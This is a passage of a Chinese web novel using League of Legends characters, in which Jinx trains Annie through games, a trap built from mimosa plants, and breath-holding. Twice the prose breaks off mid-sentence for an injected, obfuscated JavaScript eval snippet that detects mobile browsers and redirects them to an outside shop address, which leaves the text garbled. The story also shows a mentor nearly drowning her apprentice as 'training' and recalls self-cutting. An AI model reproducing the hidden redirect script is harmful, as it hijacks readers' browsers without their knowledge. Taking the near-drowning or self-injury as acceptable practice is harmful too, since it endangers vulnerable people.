“哧,一点格斗技巧都不知道,也叫出色。” 安妮对金克丝的挖苦习以为常,只是一笑置之。 “也许是她们有什么苦衷吧。” “是啊,我一直都知道的。一个小孩子是不可能在这个残酷的世界里独自生存的。” “你还真是活学活用。” “我会把你所有的技能都学到的。” 安妮昂首,眼中的自信闪闪发光。 金克丝拿着烤好的鱼端详,没有理会安妮的挑衅:“是么,我等你。” 鸡也烤好了。 安妮扯了一个腿下来,混着金克丝做的调料大口大口咀嚼着。 篝火旁再无说话声。 “我曾经无数次深刻赞同过一句话,不知道你怎么想的。” 金克丝把安妮领到湖的另一处,突然说了这个问题。 “破坏比创造容易。——你觉得呢?” 破坏?创造? “要看什么东西吧?” “不,是一切。” 一切? “工具、建筑、生命,乃至世界。” 安妮想反驳,但好像无从辩驳。 金克丝说得对。 “当你竭尽全力想要建造一个理想国,最终发现一切都只是徒劳的时候,你会发现,破坏掉这个半成品是多么的容易。” “那你曾经想过建立你的理想国吗?” “我的理想国?”金克丝自嘲地笑了笑,“我不需要什么理想国,我的人生宗旨就是破坏,既然创造本就不易,直接破坏不是更好?” 这就是金克丝被称作“疯子”的原因吗? “好了,破坏那么容易,没有一点意思,咱们的游戏自然还是要创造。” 金克丝往湖边走去,用之前装鱼的桶打了满满一桶水。接着,她弯腰低头在湖底抠挖,双手起起伏伏,最终拿出来一大块……泥土? “做泥人?” “你也太没追求了。” “……” “要做就做个大的,起码得是个宫殿。” 金克丝把泥土装进另一个空桶,接着弯腰:“还不快来帮忙?” “哦哦,来了!”安妮挽起袖子跟上去,看见身后的提伯斯跃跃欲试,赶紧把他拎回去,“乖乖坐着,弄脏了手就把你扔湖里。” 提伯斯只能低下头,靠在树干下看安妮去玩泥巴。 她们先挖了一大桶泥,接着在沙地上铺了个长木板,把泥和水放在中间。湖边水下的泥土韧性很好,湿度也刚好,捏起来非常舒适,塑形也简单,要干了就加点水,十分方便。 安妮正捏了一个长方体,准备想办法把中间掏空,头顶就传来了金克丝的声音。 “你在干嘛?” “额,做宫殿的房间啊,只是中间怎么掏空我还没想好。” “哎呀……”金克丝翻了个白眼,一副恨铁不成钢的模样,“我叫你做什么你就做什么?能不能有点追求!” “……” 安妮嘴角抽了抽。 “那我做什么?” “你想做什么就做什么。” 金克丝说是这么说,可是安妮还是害怕自己又一次“没追求”。她观察四周,看见一旁的金克丝兴致勃勃地捏着土,眼前一亮。 安妮捧了点水在手上,把那一大块长方形揉成椭圆形,然后开始挤压中间,顺带扩大揉圆两边。 “你又要做什么?” “嘿嘿,你猜。” “不说就不说。” 空气渐渐安静下来,森林里只有微风吹拂树叶草丛的沙沙声,还有安妮沾水的哗啦声,偶尔还能听见提伯斯吸溜口水。 见安妮手边一堆泥土做的小零件,还有个两边大中间小的镂空开口圆柱,金克丝眼神闪了闪。 “你别告诉我你在做这个。” 金克丝抬起右手,上面的手表显示已经五点多了。 “唉,我没什么追求~” 安妮奸笑,叹气声在湖面荡漾。 “唉……”金克丝无奈地摇了摇头,“师得真传了。” “还没完呢。” 泥塑没做完,学习也没学完。 金克丝摆摆手,示意安妮继续。 她的面前摆着一朵泥土做的花,安妮只一眼就认出那是自己之前在断崖上摘的。金克丝的花很细节,花瓣尖上的缺口,叶子上的纹路,花茎上细细的绒毛都清晰可见。安妮凑过去仔细看了看,那绒毛居然是她们屁股下的细沙子。 安妮暗暗惊叹了一下,继续自己手上的活。金克丝已经做完了,可惜泥土做的花无法支撑,再立体也只能平铺在木板上。 见金克丝又一次渐行渐远,安妮继续专注于手上的泥塑。之前有冰灵力的时候,她为了增加掌控还苦练过一段时间的塑造,只是后来…… “啪!” 泥土掉在木板上,安妮赶紧拿起来,摔下去的地方已经扁了。 她认命地叹口气,继续。 除了练习隐藏的时候,已经好久没有这样安静过了。 黄昏的光照在湖面上,暗下去只是一瞬间。没有想象中的波光粼粼,也没有记忆中的清冷刺骨,安妮把最后一个零件摁在炮上,终于完成了自己的作品。 “呼——” 她长舒一口气,前所未有地满足。 “做完了?” 身后,金克丝的到来悄无声息,好在安妮早习惯了。 “做完了!” 我们是把它们收起来,还是…… “那就走吧。” “走?” “天快黑了,还不走么?你还想玩?” “不是,只是……这些怎么办?” 安妮看着木板上的泥塑,一个大炮和一朵花分开躺着,在树荫下孤零零的。 “你想带走?” 你不带走? 安妮询问的眼神太明显,让金克丝无法避开。 “留着只是徒增伤悲罢了,所有事物最后的结局都是毁灭。” 安妮想反驳,还是一句辩驳的话都想不出来。她恍惚间回忆起那块蒲公英形状的琼脂,还有支离破碎的薄荷…… “唉,行了行了,想拿就拿着吧,免得说我这个师傅小气,一块土都不肯给。” 金克丝烦躁地转身,安妮眨眨眼,一狠心……走向提伯斯睡觉的树干,抱着提伯斯跟了上去。 泥塑迟早都会坏掉的,何必徒增烦恼…… 安妮这样劝说着自己,终于不再回头。 28. 28 漆黑的天空,繁星点点。安妮跟着金克丝,紧赶慢赶,终于在落日藏入云海之前上了断崖。 是那个熟悉的地方,安妮好像还能找到自己蹭上血迹的土。 “感冒了还让你来这里是不是不太好?” 金克丝嘴上这样说,垫毯子的动作却干净利落。断崖上的风很大,她不得不顺手找点石块压一压四个角。 安妮摇头,坐下,风吹得她黑色的长发舞起,在视线里时隐时现。 “真羡慕你还能披散着头发。” “这有什么可羡慕的?” 金克丝的头发比她还长,只是少一些,扎起来很轻巧。 但她只是笑着摇了摇头,没回答。 沉默蔓延开,安妮眯着眼睛,目送夕阳逐渐下沉。 她曾经也看过日落,和那个人并排坐在草地上,不是冰冷的,也没有凉爽到刺骨的晚风。那个时候一切都很温暖,连记忆都带着柔和的昏黄。 光也很柔和,没有鲜血的颜色。 “姐姐曾经说喜欢我的头发,是天蓝色的,和天空一样干净。” 可是……安妮悄悄侧目:金克丝的头发明明是湛蓝的。在余晖下,这头蓝发还混上了亮丽的金黄色——但绝对不是天蓝。 “别看了,我知道我现在的样子。”金克丝没解释这头蓝发怎么来的,只是用手揪着辫子,“我要真的能变成姐姐希望的模样,路西瑞城也不会到处都是我的通缉令了。” 是啊,金克丝的姐姐那么温柔,一定希望她可以平平淡淡幸福快乐地生活下去,而不是每天过着在刀口上舔血的生活吧…… “你的名字好像代表光明。” 安妮已经承认过很多次了——对着不同的人。 “我可不觉得你是向往光明的人,难不成你的爸爸妈妈希望?” “也许吧。” 但明明他们就是被光明摧毁的。 安妮不明白,也不想明白。 太阳下山了。 四周一下黑了起来。安妮本能地开始思考环境的危险性和需要注意的事情。伤感和回忆都要留在安全的地方进行,这是她无数次实战得来的经验。 “别紧张,周围我都检查过了,今晚不会有危险的。” 金克丝仰躺在毯子上,是一个不适合马上起身防御的动作。 安妮一个人坐着也不太自在,但是好像跟着躺下也不太舒服…… 她纠结了一会儿,还是决定坐着看星星。 “你有什么打算吗?虽然问这个问题有点早。” “不知道,看完你的书,学完你的技能,然后就四处游历吧。” “啧啧,浪费。” 金克丝的声音是从地上传来的,但是那语气让安妮觉得她还坐在树上。 “你听说过守望麦田吗?” “好像听说过。” 加丁当初告诉她,艾德文特在探索到奇迹平原的时候突然被困住,往北边走只能回到原地。但是她听说只要一直往奇迹平原的北边走,是可以到达守望麦田的。那里是号称“时光窥伺者”的基兰大师的住所。 至于基兰是干什么的,为什么要找他,安妮就不得而知了,只是人们都坚定地相信找到基兰就能找到奇迹。 “我是从守望麦田里出来的。” 安妮一瞬间瞪大了眼睛。她不是没想过金克丝得到过基兰的帮助,只是仍然感到惊讶。金克丝不仅通过了考验,成功复仇,还给她说了这些…… 那她可以吗? “与其说他可以制造奇迹,不如说他提供了创造奇迹的机会。他曾经告诉我,这个世界是公平的,唯一的变数就是他,因为他不属于这个世界。” 不属于这个世界…… 安妮被冷风吹着,却感觉心中热流涌动。 “他会提供帮助吗?” “只要能找到他,就能。但是别忘了,你现在还只是个刚刚会点身法武器的菜鸟。寻找基兰真这么容易,路西瑞城也就不会百年里只出了一个金克丝了。” 对啊……这个不算是金克丝毒舌,但安妮还是感觉被打击到了。 如果说,被天道灭族、契约提伯斯、得到深渊权杖和堕入黑暗让她以为自己与众不同,可以创造奇迹,那么一次次失败和死亡就是长鸣的警钟,让她不得不直视自己的平庸。 没有谁可以一步登天,她是如此清醒地被打击着。 “太阳落山了,你看到自己的影子了吗?” 没有光,哪来的影子?安妮有些疑惑,但是她没有回答。 一夜无话。 安妮的发烧还没好,断崖上的冷风更是不容小觑,于是第二天早晨,她发现自己的鼻子堵得更厉害了。 “反正这两天不用训练,你赶紧把感冒治好。能力越强越不容易感冒,你这样说出去都丢人。” 安妮知道她不是感冒丢人,是作为金克丝的徒弟还这么脆弱丢人。 记得之前…… 算了,不想了。 安妮撇嘴,发现没了训练,自己反而没事做了。好在金克丝也打算让路西瑞城的人们过个好年,没有出去搞事的企图,可以带着她玩不一样的东西。 安妮这边玩得开心,却不知道路西瑞城里的人并没有那么快乐——准确地说,是警署的人。 悦来客栈 佩戴着耀眼警徽的女警冷若冰霜,压低的帽檐都挡不住她犀利的眉眼。 拉缇还是丝毫不受冷美人的气场影响,大冬天一身火辣的皮衣长裤,帽子上还别了根细长的羽毛。 她坐在卡伊特对面,两把手枪别在腰间,腰上的皮带衬得腰肢不盈一握。 “大过年的愁眉苦脸,怪不得那个老巫婆要把你赶出来,还美其名曰过年放假。”拉缇随随便便哪句话都让周围竖着耳朵的人冷汗直冒——他们要是这语气这台词和卡伊特聊天,头都要被射成马蜂窝。 卡伊特很给面子地剜了拉缇一眼,抿着嘴不说话。 “其实从某种程度上来说,那只老鼠还挺讲信用的。” 拉缇摆弄着指甲。 “你如果想找打就直说。” “这么多年过去,老巫婆都信了,不算讲信用?起码比我诚实~”拉缇吹了吹手指,莹白的手上没有一点灰尘,“也就你还担惊受怕的……总不会,你是希望她突袭吧?” “啪!” 是卡伊特拍桌子的声音。 拉缇很给面子地和众人一抖:“吓死老娘了,这可是客栈,拍坏了的桌子自己赔!” “一张桌子我还是赔得起的。” “是啊,谁不知道路西瑞城最高层财大气粗,搜刮老百姓的钱财比我抢劫还干净。” 拉缇是真敢说……周围喝着小酒的人只觉得自己听的东西也有点多了,赶紧收拾收拾结了账。 卡伊特看着陆陆续续离开的人,情绪总算舒缓了一点。 “请问,你们还需要点什么?” 阿狸一身火红的长裙,肩膀上围着的绒毛雪白,却没有她的皮肤靓丽。 “不用了,就这些,谢谢。”卡伊特环顾四周,突然顿了顿,“再加点十号烈酒吧,另外,没有得到有关她的消息,抱歉。” “没关系,其实我也不抱什么希望的……” 阿狸勉强地笑了笑,美人痣好像挂在眼角的一滴泪。她走进后厨,猴子正在那里砍骨头,阿若盖特坐在一旁监工。 “还是没有消息?” “没有。”迎着猴子关切的目光和阿若盖特若有若无的眼神,阿狸摇了摇头,“只希望校长不要太绝情。” 阿狸扔下这句话,拿了酒匆匆往外赶。 见猴子还往外伸头,阿若盖特往身边放菜的桌子一拍。 “看什么看,继续!” “切,说得好像你不担心一样。” 猴子嘀咕着转身,一刀下去,菜板上的骨头碎成两半。 阿若盖特盯着猴子劳动的身影,视线却慢慢落到旁边的□□腿上。 “扑通!” □□跳进了水里。 “哈哈哈哈,真好玩!” 安妮和金克丝竞技着,感觉前所未有地放松——金克丝玩游戏也很有一套,不仅知道很多,还会时不时挑战自己的规则。 “你怎么看出来这只癞蛤蟆腿受伤了的?” 安妮和金克丝比赛谁能最快把癞蛤蟆赶进池塘的某个地方,安妮难得抢先一步选了癞蛤蟆。 当然是…… “经验。” 安妮记忆里,多了一只一瘸一拐蹦跳,却竭力不让自己露出破绽的癞蛤蟆。还有一双银白色的衣袖。 “我还以为你只会抓抓兔子和鱼,没想到你的口味还挺重。” 癞蛤蟆可不好吃,或者说森林里的调料并不能很好地料理,不然酒楼里也不会有特色菜爆炒□□腿了。 安妮被说得脸一黑:“不是,我是……唉,说来话长。” “那就长话短说。” 金克丝一脸八卦,显然是昨晚的故事会让她意犹未尽。安妮发烧了昏昏欲睡,她也没心情多讲。 这下正好,两人坐在池塘边,一切都是那么舒适。 “你说一个秘密,我也告诉你一个秘密作为交换,怎么样?” 安妮顿时兴奋起来,这种和好朋友交换秘密的体验是她从来没经历过的。虽然菲缇和金克丝都是老师,但好像总有区别。 “其实也没什么,就是你之前提到的阿若盖特……她在悦来客栈当老板娘,和阿狸姐姐是好朋友,我和阿狸姐姐熟悉之后,她就被阿狸姐姐请来教导我。” “教导你?一个法师,她还能教你打架不成?” “倒也不是,只是教我一些实战经验,寻找弱点,辨别破绽等等的……” “这么看来你是一点没学到。” “我只是忘记了……” 后来经历那么多事情,还莫名其妙被传送到了山村,很多东西她确实忘记了。尤其那个时候阿若盖特的教学是围绕魔法展开的,冰灵力都没有的她何谈实战。 “不过说起来,你也算运气好了。” 安妮偏头,疑惑。 “阿若盖特可不是卡伊特那种生人勿进的冷,她是又冷漠又绝情,只要不是她关心在意的东西,什么样都无所谓。教你一个身法都不会的法师肯定无聊死了,难为她能坚持下来。” 安妮总觉得金克丝这是顺嘴抱怨,不过不得不承认多亏了阿狸姐姐的帮忙,才让她有这样的学习机会。 如果一定要说关心在意,那阿狸姐姐一定就是阿若盖特唯一放在心上的人了吧。 “好吧,你这个信息没什么价值,不过挺可乐的,也算有点用处。”金克丝伸了个懒腰,“你知道为什么无妄森林内部这么温暖,断崖上冬天不下雪,这湖也不结冰吗?” “不知道。” 安妮一直以为这是正常现象,难道这也和什么特殊的地理有关? “我也不知道。” “噗……咳咳咳……” 安妮白眼都要翻到天上去了。 “你那什么眼神?我保证我的信息可比你的有用多了。” “你继续。” “虽然具体原因我不清楚,但这一定和无妄森林断崖下巨大的能量有关。” “能量?” “这个需要感知,你现在还没有那种意识。总之,无妄森林的断崖下面一定有东西,而且是艾德文特看见一定会下去一探究竟的东西。” 也许金克丝的解释很模糊,但安妮还是捕捉到了重点。 不能让艾德文特发现。 “但是这种异常现象很容易发现吧?” “他都没来无妄森林,怎么发现异常?” 有道理……阻止他进来就是了。但她总不可能一直待在这里…… “说你傻你是真傻,现在恕瑞玛沙漠里的神殿他都没摸清门道,怎么可能无缘无故往这里跑?你别引过来就行了。” 搞半天原来是说这个……安妮动了动迟缓的大脑,记住金克丝的提醒。 金克丝看安妮还是一副正在沉思的样子,摇了摇头,一闪身又不见了。 这个夜晚很舒适,安妮既没有去断崖上看星星,也没有在森林里摸黑训练。 金克丝说是去找什么人了,安妮没有在意,总归今晚上她回不来。 漆黑的树林,夜空都只在树叶的缝隙里变暗。安妮抱着提伯斯,数着寥寥无几的萤火虫。 也不知道巫阿婆怎么样了。 她还记得那里的人过节的模样。 明明吃饱穿暖都是问题,过节的时候却张灯结彩,到处洋溢着笑声。那个红脸老头的供桌上总是有几个红彤彤的大苹果,盘子里还会多些平时没见过的糖。 她被要求套上大红色的裙子,脸上涂些奇怪的红粉,巫阿婆也有自己的大红袄子,上面一个补丁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安妮摘下其他几片含羞草,并排放在地上,每隔十分钟摸一片,发现足足半个小时之后含羞草才慢慢展开没了反应。 做这个实验的过程并不好玩,但安妮脑子里的想法却让她激动得头皮发麻。 金克丝在中午吃饭的时候回来了。安妮和金克丝共进午餐,之后表示自己有事做,头一次换成了自己离开。 金克丝并不知道安妮昨晚产生了什么奇奇怪怪的想法,见安妮奸笑着离开,她虽然有些好奇,也没有跟上去的打算。 一下午的时间,金克丝玩着自己的,安妮也在自己选定的地方布置着。 太阳落山之际,安妮带着满身疲惫和成功的笑容回来了。 “金克丝,我有一个游戏,你要不要玩?” “什么游戏?” “躲猫猫,我躲五分钟,五分钟之后,你去这个地方找我。”安妮扬了扬手上的地图,“如果你的三发颜料弹没有打中我,或者十分钟到了,你就输了。” “这么简单?你别告诉我,忙活了一下午,你就找了个适合躲猫猫的地方。” “那哪能啊,你试试不就知道了?” 金克丝被勾起兴趣,挑眉答应了。她背过身开始计时,安妮立刻头也不回地跑去自己布置的地方。 “三……二……一……” 金克丝慢慢转过身。短短五分钟,森林里就黑了一个度。她看了看地图上的标注,是一个风小植物茂盛的地方。 金克丝不急着赶过去,慢悠悠走着。安妮的路线很好认,因为她沿线做了标记。 入口处居然还有一堆花。 金克丝把花拿开,往前接着走。她大概知道安妮圈出来的范围有多广,要一寸一寸搜索不是明智之选,也不是她的作风。金克丝干脆大步走着,观察安妮准备的东西。 周围就是熟悉的植物,要说多了什么绝对没有,但含羞草似乎有点遮挡视线…… “咻!” 金克丝偏头,同时右手一甩,右前方的一块泥土和她扔出的颜料擦肩而过。 “啪!” 泥土砸在地上,颜料溅到植物上。 金克丝没回头,而是眯着眼观察被她的颜料击中的地方。 她明明没有听见机关被启动的声音,也没有触发什么开关……这是全自动的?总不能是安妮掐准了时间。 有点意思了。 金克丝走上前,土块飞出来的地方被植物包围着,里面也有很多卷曲的含羞草。 她的视线在地上逡巡,总感觉有什么未知的危险。 “啪!” 果然,她踩断了一根细绳! “咻咻……” “咻咻……” 四面八方又冒出来不少土块,金克丝这次左躲右闪,勉强没被打中,但是…… “咻咻!” “咻咻……” 就好像是连锁反应,一个方向的土块刚飞出来,被躲开,另一个地方又飞出新的土块。金克丝怀疑自己站的地方恐怕已经被陷阱包围了,找了个时机往另一边跑。 “咻咻……” 在又一次躲过土块攻击后,终于没有了令人疲惫的连发。 金克丝的眼神亮得吓人,她发现她好像低估了自己这个徒弟的悟性。 “沙沙!” “啪!” 又是一块颜料,然而金克丝打中的地方只有颤动的叶子。 动静哪来的? 金克丝有些不解。 “沙沙……” 周围的声音绵延不绝,但是她只有一个颜料弹了。 金克丝这次没有随手一扔,她大致环顾四周,猜到了动静的来源。 那么…… “啪!” 树枝上跳下来一个瘦小的人。 “唉,这都被你找到了。” “过奖,我低估你了。” “你也过奖,嘻嘻。”安妮的眼神亮得吓人,像是夜里的狼看见了猎物,“怎么样?” “走,去湖边好好聊聊。” 金克丝显然也很迫不及待,但她也想在赶路这段时间好好思索一下,说不定能注意到之前忽略了的细节。 “好!” 安妮咧嘴,走得很快。她很激动,那是一种满足感,得到认可的满足,被人刮目相看的满足…… 29. 29 “让我先猜猜,主角是含羞草对不对?” “回答正确。” 安妮感叹着金克丝的敏锐,想来自己的小伎俩也就胜在新颖,放实战里或者多次使用肯定没戏。 “你先说说,那些土块都是怎么自己发射的?” “其实就是你教我打鸟用的弹弓……我做成紧绷的状态,把线稍微设计一下,连接在含羞草上,含羞草一收缩,线断了,土块就飞出去了。” “我记得那里没有那么多含羞草。” “确实,我把含羞草连根带叶一起挖出来移栽的,之后能不能活不知道,起码度过今晚上没问题。” “怪不得你做了一下午。” “是呀,我昨晚还想了好久呢,实践起来难题更多。” “那那些动静都是哪来的?” 安妮眼眸里闪过一丝狡黠:“只要让一些小动物去含羞草边活动,含羞草就会收缩啦,带出一些动静的装置很好做的。” 金克丝很满意,虽然猜到了一部分,但安妮做起来肯定不容易。 “不错,有我当年玩儿蒲公英的风范。不过你的含羞草陷阱还差点意思,时间不持久,布置要太多精力,还是一次性的,容易被识破。” “唉,我也知道呀……那你是怎么猜到我在那棵树上的?” 她明明选了很久的树,绝对没有露出来分毫。而且她当时一动不动,不可能露馅。 这次轮到金克丝狡黠一笑了,在安妮期待的眼神中,金克丝还是大发慈悲地直接解答了:“就你那个地方含羞草比较少,飞出来的土块少,动静都小。” 她没有提到绝对感知这个概念,这次倒不是有意隐瞒,而是说了安妮也不懂。 “没想到适得其反了。” “战术还要继续学……不过这次的创新我很满意,多学点东西总归没有错,说不定什么时候就用上了呢?” 安妮赞同地点头,身后的尾巴都要翘到天上去了。 “行了,快去休息吧,今晚恐怕是个不眠之夜喽~” 金克丝调侃着,在安妮脸红之前离开了湖边。 安妮随便找了个安全的地方歇息,平复着内心的激动。 她不知道的是,金克丝又赶回了之前的地方。手上的双刀横扫,带出一股劲风,那些细线、树枝和含羞草在凌厉的刀气下化为齑粉。 生存技巧、格斗招式、狩猎理论……金克丝简直就是个人实力的天花板。自从看见金克丝面不改色地扛着比她还胖的巨型离子炮在森林里穿梭后,安妮就发自心底地佩服。 而经过一年多的基础训练,安妮的能力也在突飞猛进。至少如今看来,没人会第一眼认定她是个法师。 事实上,除了和提伯斯还存在契约外,安妮没有任何证明自己是法师的理由。 但这偏偏又是铁证,毕竟金克丝还没见过如此有自我意识的玩偶。 “在森林生活了一年多了,感觉怎么样?” 金克丝仰躺在树上,翘着二郎腿。 安妮心中一暖,没想到时间会过得这么快,好像自己还什么都没做。 “挺好的,怎么了?” “你知不知道之前我可是委屈了自己整整一个月没有搞事。” 没有搞事?这个倒是。安妮总是能在和阿狸姐姐逛街的间隙听到路西瑞城那边的消息,一个月更新一次是常态。这些事有大有小,结果却保持了一致:卡伊特还是没抓住老鼠。 但安妮才不信金克丝是为了自己才委屈的,因为第一个月刚过她就忍不住开始频繁消失了。 果然,金克丝也没有装出一副牺牲良多的模样,而是转向另一个话题。 “你有没有听说过,潜力?” “潜力?” 安妮跟着默念了一声,脑海里开始自动回忆对这个词语的解释。 大概是在最危急的关头所爆发出的平时不能达到的力量。 “疯子超过常人的最大优点,就是他们把潜力当作能力使用。” 也就是把最大值当作一般水平?怎么可能!至少在安妮的认知里,人不会总是处于紧急状态。 “我说的能力不是平时,而是需要的时候,随时可以用。就像……这样!” 金克丝一个甩手。 “哗!嘎吱——” 对面的树枝被什么东西从上方整齐切断,歪歪斜斜地掉在了灌丛里。 可是安妮明明记得金克丝手里什么也没有,甚至前一秒,她的双手还放在后脑勺上。 见安妮睁着眼睛四处张望,金克丝好心解释了一句。 “刚刚树上面掉了片叶子下来。” “把叶子当飞刀用?” “这是潜力还是能力?” 如果是法师,那毋庸置疑是平平无奇的能力,但这是没有任何灵力的人类。 安妮震惊了。 “其实,在做到这样之前,我也以为不可能。”金克丝伸个了懒腰,望着上空,似乎在回忆什么,“但是潜力是无穷的。你不如把潜力当作另一种灵力来看待,或许这样就能够理解为什么卡伊特能跑过汽车了。” “跑过汽车?” 不是马车? 并且金克丝还没被抓到……这说明她的那句两公里三分钟恐怕是真的“不能再多了”。 “我最看不起那些法师的一点就是他们自信得过分,总以为有点灵力就高人一等。事实上,很多人拥有的另一种和体质相关的力量更加恐怖,秒杀他们跟喝水似的——比如我。” “但这些能力再厉害,也无法对抗天道。” 金克丝难得愣住。 “你说得对,差点忘了你的目的。这么看的话,你好像并不在意他们的规矩?” “什么规矩?” “不可以法武双修。” 安妮记得,这是光明学院的学院手册里规定的。 “你曾经也是光明学院的学生?” 难道高手真的都出自那里? 令人惊讶的是金克丝否认了。 “那你怎么会知道这条规矩?” “这是共识——那群蝼蚁的共识。不要把我和那群迂腐的学生相提并论,看看你在那里走了一遭后成了什么样子,你觉得我会去那上学?” 安妮诚实地摇了摇头:“我还以为这只是光明学院的规矩。” “不管是不是,总之你是那里的学生。” “我不会乖乖遵守的。” 她违反的规定已经够多了,不差这一条。 “很好,我就喜欢破坏规矩。” 金克丝撂下这么一句让人摸不着头脑的话,就潇洒地离开了。安妮估摸着她又要去散心,自己乖乖在约定的地方坐着等待。 金克丝这次回来得很快,只是带来的点子有些特别。 她让安妮去学习憋气。 下海有避水咒,再不济也有法师提供的避水珠,安妮实在不理解多个十几秒一分钟的憋气时间能对自己有什么进益。 尽管金克丝的想法总是让她出乎意料,但这是唯一一次她思考半天也无法找到解释的情况。 所以到达一条平静的河流后,安妮提问了。 “你照做就行了,我又不会害你——怕我把你摁死在河里?” 金克丝说话和做事一样简单粗暴。 安妮无奈地耸耸肩,表示自己的鬼点子还是不够多。 她深吸一口气,感觉空气顶到了自己的肺才停止。然后她紧闭眼睛,一头扎进水里。 金克丝在旁边计时。 “一……二……两……三……四……四点五……” “咕噜噜……” 安妮在水底冒着气泡,她想反驳金克丝的计数方式,但很显然现在不是个好时候。 “三十……”看着安妮钻出水面的头,金克丝慵懒地嘲讽了一句,“啧,真差劲。” “你的计数方式有问题!” “所以你因为我的随意影响了自己的发挥?” “我……” 安妮有些心虚。她的确着急了,不仅因此吐了好几口气,还提前钻了出来。 “曾经为了躲避卡伊特的侦查,我在一个贵族后花园的芦苇丛里蹲了两个小时,那是个炎热的夏天。” 芦苇丛里最多的就是蚊子和烂泥,何况那是个夏天,还很炎热。 安妮只是想象了一下,就忍不住一哆嗦。 “卡伊特其实也挺厉害的,在池塘外面守了两个小时。要不是后来那个贵族把她叫走,她能等到天黑。” 安妮觉得这两人能成为对手不是没有原因的。 “好了,你该接着训练了。” 安妮点点头,深吸一口气,再次扎了进去。不管这次金克丝怎么报数,哪怕倒着报,她都不会出来的!她可以自己记着。 安妮当初不是没玩过憋气的小游戏,跳进河里闷头抓鱼也是夏天最享受的时光,三十秒远远不是极限。 “从前有一只冰原雪熊孤单地呆在冰上发呆,实在无聊就开始拔自己的毛玩,一根……两根……三根……最后拔得一根不剩,然后……它就冷死了。” “咕噜噜……” “咳咳,咳咳……” 安妮被水呛得直流眼泪,手脚并用挣扎起身。倒不是因为金克丝的笑话有多好笑,只是她一本正经地说笑……安妮实在是忍不住。 “或许我应该庆幸卡伊特不会讲笑话。” 安妮知道金克丝又在嘲笑自己,但她只能一边笑一边羞愧地低下头。 “什么时候你觉得你不会被我影响了,再继续吧。” 安妮止住了笑,乖乖点头。她设想了一下金克丝继续站在岸上面无表情讲笑话的模样,然后……又不自觉地笑了起来。 见安妮笑得这么开心,轮到金克丝无奈地摇头了。 安妮更停不下来了。 过了好一会儿,安妮才慢慢恢复平静。她在心里默默地给自己打气,决计这一次不管出现什么意外状况,自己都不能再提前出来了。 见安妮再次深呼吸,扎进水里,金克丝在周围看了看,然后捡起了树下的一根树枝。她走到安妮潜水的地方,把树枝伸下去搅和,感觉触碰到了什么,于是开始不停戳弄。 安妮在水下,感觉头上忽然出现了大片阴影。秉承着不能再轻易出水的原则,她忽略了旁边的搅动声。直到感觉棍子戳到了自己,她挺直脊背,出气的幅度大了一些,但还是没有出来。 直到那根棍子戳到自己的腰,安妮终于拿手抓住棍子,浮出水面。 她抹了一把脸,看见金克丝拿着树枝,树枝另一头正被自己握住。 “抱歉,我怕痒。” 安妮有些尴尬。 这次坚持了一分钟,但是还是不够。 “怕痒很正常。”金克丝把树枝抽回来,扔在一边,“但是突发情况有很多,生命却只有一次。” 很难想象金克丝在卡伊特的刁难下忍受了什么,又突破了什么,但她所克服的一定不止痒那么简单。 安妮忽然有一种挫败感。 她觉得自己挺失败的,还很矫情。 “其实,要克服这些很简单。” 安妮的眼神瞬间亮了。 “只有直面死亡,才能领悟生存的不易,同时拼尽全力。” “我要怎么做?” “自杀会吗?” 安妮被问住了。 会,怎么不会。当初面对未来迷茫到极点时,她划破自己的手臂,看着鲜血涌出,那时她便幻想着死亡。死了,就什么也不用面对了。 “你只需要做到自杀的前一步。” “自杀的前一步?” “死了,但没完全死。快死了,但还差一秒。” 安妮不太明白。 “我可以帮你,如果你相信我的话……” “我要怎么做?” “沉下去,憋气,就这么简单。” 安妮隐约猜到了一些。她的心开始剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119497|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烈跳动,做着最后的挣扎。望着波光粼粼的湖面,安妮最终还是深呼吸,快速沉了下去。 这一次,金克丝没有任何打扰。 十秒……二十秒……一分钟过去,安妮平缓均匀地呼吸着。 一分十五秒,安妮感觉储存的空气快耗尽了。 一分二十秒,空气只出不进,安妮吐出了最后一个气泡。 一分二十五秒,安妮压榨尽胸腔的最后一点空气,狠狠出了次泡泡。 她想要起身,忽然,头被死死摁住! 救命! 无边的惊慌如同周身的河水淹没了她,安妮奋力挣扎想要起身,却感觉鼻子里忽然滑进了一条条冰冷的蛇。 “咕噜噜……” 嘴里涌进去一阵阵水流,眼前一片混乱。冰冷的感觉充斥全身,濒死的危险让安妮全身冒汗,控制不住地挥舞四肢。 不行……眼前一片混乱,肚子里全是河水。安妮好像看见了一群张牙舞爪的魔鬼缠绕住了自己,手脚并用使劲拍打,却感觉身体越来越沉。头顶的手此刻如同一座大山,压着她动弹不得。 安妮咬紧了牙关,可是很快又只能松开,任由冰冷的河水涌入。肺部的空气消失殆尽,全身的力气都在随之流逝,但安妮仍旧做着最后的挣扎! 嗡嗡嗡……耳朵好像也被灌进了水,机器的轰鸣声……嘈杂的尖叫声…… 绵软的感觉渐渐包裹住全身,那种紧张到窒息的感觉却没有消退。 “噗噗……” 安妮在巨大的果冻里沉浮,无论向哪边使劲,都会被无情地弹回。 救命……我真的不行了…… “咕噜噜……” 全身好像都被水充满了,骨头也开始变得脆弱,嗓子却干渴得冒血。黑暗席卷而来,光亮越来越小……好累…… 没有力气了,自己也变成了一滩水。 安妮在一瞬间看见了笑脸,看见了眼泪,这一生好像在短短几秒浏览完了,但又好像全是黑暗。讥笑声还在刺激着耳膜,灿烂到刺目的光一遍遍快速闪过…… 不能死,我不能死! 我不能死! “撕拉!” 好刺眼! “咳咳咳咳……咳咳咳咳……” 